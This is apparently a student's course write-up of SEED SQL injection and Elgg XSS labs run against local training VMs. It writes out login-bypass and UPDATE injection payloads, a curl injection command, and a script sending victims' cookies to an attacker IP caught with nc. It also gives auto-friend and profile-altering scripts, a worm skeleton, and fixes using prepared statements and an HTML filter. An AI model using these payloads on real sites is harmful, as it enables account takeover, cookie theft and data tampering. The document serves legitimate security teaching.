20212917于欣月 2021-2022-2 《网络攻防实践》第十周作业

发布于 2022年 05月 19日 18:26

20212917于欣月 2021-2022-2 《网络攻防实践》第十周作业

目录



1.实验要求及过程

SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

一、熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
二、对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
三、对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
四、SQL对抗:修复上述SQL注入攻击漏洞。

一、熟悉SQL语句
(1)托管网站的Apache2服务器,请先使用指令sudo service apache2 start启动Apache服务。首先使用指令mysql -u root -pseedubuntu登陆MySql数据库,-u指定用户名,-p指定密码。然后使用指令use Users; show tables;查看该数据库下面的表。

(2)下面我们使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。

二、对SELECT语句的SQL注入攻击
(1)打开网站SEEDLabSQLInjection.com,其对应的文件地址在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,我们可以通过vim unsafe_home.php查看对应的源码。

(2)分析文件代码,看到这里主要使用了$_GET[’username’]和$_GET[’Password’]两个session中的元素,并且对pwd进行了hash运算获得加密之后的参数。接下来使用$input_uname和$input_uname构建sql查询语句。通过修改“nickname”里边的内容,我们可以实现SQL注入攻击。

(3)返回浏览器进入登录界面,使用账号Admin无密码登录,成功进入主页,证明攻击成功。

(4)也可以使用一个Linux下的自带工具curl,进行sql注入攻击,具体的命令为curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=123

(5)看到注入成功,返回浏览器,使用口令123也能登录Admin账号。

三、对UPDATE语句的SQL注入攻击
(1)查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php,从中找到动态构建的sql语句,这也就是sql注入攻击的关键。

(2)在Edit页面的NickName字段输入', salary='20212917' where EID='10000';#,将特殊构建的NickName字段输入Edit Profile页面的NickName字段,然后点击Save。

(3)修改其他人的工资。只要在Alice修改的界面的nickname输入', salary='1' where name='Boby';#,再进入Boby的界面,发现工资已经成功修改。这个原理和上面相同。

(4)已知密码在数据库中是以sha1的形式存储的,那么首先需要获取一个指定密码的sha1值。使用指令echo -n '123456'|sha1sum输出密码123456的sha1值为7c4a8d09ca3762af61e59520943dc26494f8941b

(5)接下来继续以Alice的账户登录,在edit profile那里修改用户名,填上', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Alice';#对sha1值进行修改。这个时候通过123456密码登陆Alice的账户,能够正常登录,攻击成功。

四、SQL对抗
(1)SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。在unsafe_home.php中,使用了预处理代码,用之前的方式进行登录,发现已经提示账号不存在,同理,所以现在已经能够防止对SELECT语句的SQL注入攻击。

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");
      $sql->bind_param("ss", $input_uname, $hashed_pwd);
      $sql->execute();
      $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
      $sql->fetch();
      $sql->close();

(2)UPDATE语句代码在unsafe_edit_backend.php中,修改代码,再通过edit profile修改工资,发现刚才的语句被作为NickName显示出来了,所以UPDATE语句的对抗SQL注入也完成了。(记得恢复环境。!!)

if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

2.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

一、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
二、弹窗显示cookie信息:将cookie信息显示。
三、窃取受害者的cookies:将cookie发送给攻击者。
四、成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
五、修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
六、编写XSS蠕虫。
七、对抗XSS攻击。

一、发布恶意消息,显示警报窗口
(1)在firefox中登录网站www.xsslabelgg.com,使用Alice的账号进行登录。账号:Alice,密码:seedalice。登录后点击头像,选择Edit profile

(2)在Brief description中输入<script> alert('xss');</script>,点击save,出现xxs警告,主要原因是因为没有对字段进行安全检查和过滤,便直接插入数据表。显示内容的时候,也是直接读取显示,没有经过输出净化。

二、弹窗显示cookie信息
(1)在个人主页的Brief description中输入提前设计好的攻击代码<script> alert(document.cookie);</script>,点击save之后,出现如下图所示的cookie,显示cookie信息成功

三、窃取受害者的cookies
(1)用ifconfig查看自己的ip地址。

(2)在个人主页的Brief description中输入提前设计好的攻击代码<script>document.write('<img src=http://192.168.43.46:5555?c='+escape(document.cookie) + ' >');</script>,然后点击save

(3)切换boby的账号后,在终端输入nc -l 5555 -v监听5555端口,使用boby在member中访问alice即可得到boby的cookie

四、成为受害者的朋友
(1)使用Boby账号访问Alice的页面中右键点击view page source查看网页源代码
(2)可以发现点击add friend后,消息发往了http://www.xsslabelgg.com/action/friends/add?friend=44&amp;__elgg_ts=1652915920&amp;__elgg_token=X8w2VfGmj2VCQGomkruYlg

(3)根据上一步骤中参数friend代表好友的id,参数__elgg_ts代表时间戳,参数__elgg_token代表token,构建的攻击代码

<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

(4)把这段程序放在alice的About me中(这里注意要是edit HTML模式),在Alice的About me界面中输入上面的代码

(5)接下来用boby访问alice的主页,boby就会自动加alice为好友。

五、修改受害者的信息
(1)要用HTTP Header Live看看修改资料时要做那些事情。通过这个方式构造和上面相近的JavaScript程序。

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>

(2)将上述代码同样放在Alice的about me中,然后用boby访问Alice的主页,即可成功修改boby的profile。

六、编写XSS蠕虫
(1)目的是这段代码能够复制到其他用户那里,那么蠕虫目标就是完成了的,所以使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。将下面的程序放在Alice的about me中。

<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>

(2)通过boby访问Alice的profile发现这段代码已经被成功的复制,说明目标达到,利用DOM API成功的进行了蠕虫的复制。

七、对抗XSS攻击
(1)Elgg本身已经提供对抗XSS攻击的插件,利用admin/seedelgg进行登录,找到Account->administration->plugins,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

(2)下面查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

2.学习中遇到的问题及解决

  • 问题1:SQL注入里,查看user表里没东西

  • 答:show tables;这个命令中的;拉掉了,注意注意很多都有;的存在!!

  • 问题2:加受害者好友的部分,点击Alice主页并未成功添加好友

  • 答:上一步中的注入代码未删去,删掉就好了。

3.学习感想和体会

  • 算是接触Web方向的攻防实践了,希望在以后的学习中,可以进一步的提升自己的能力。

推荐文章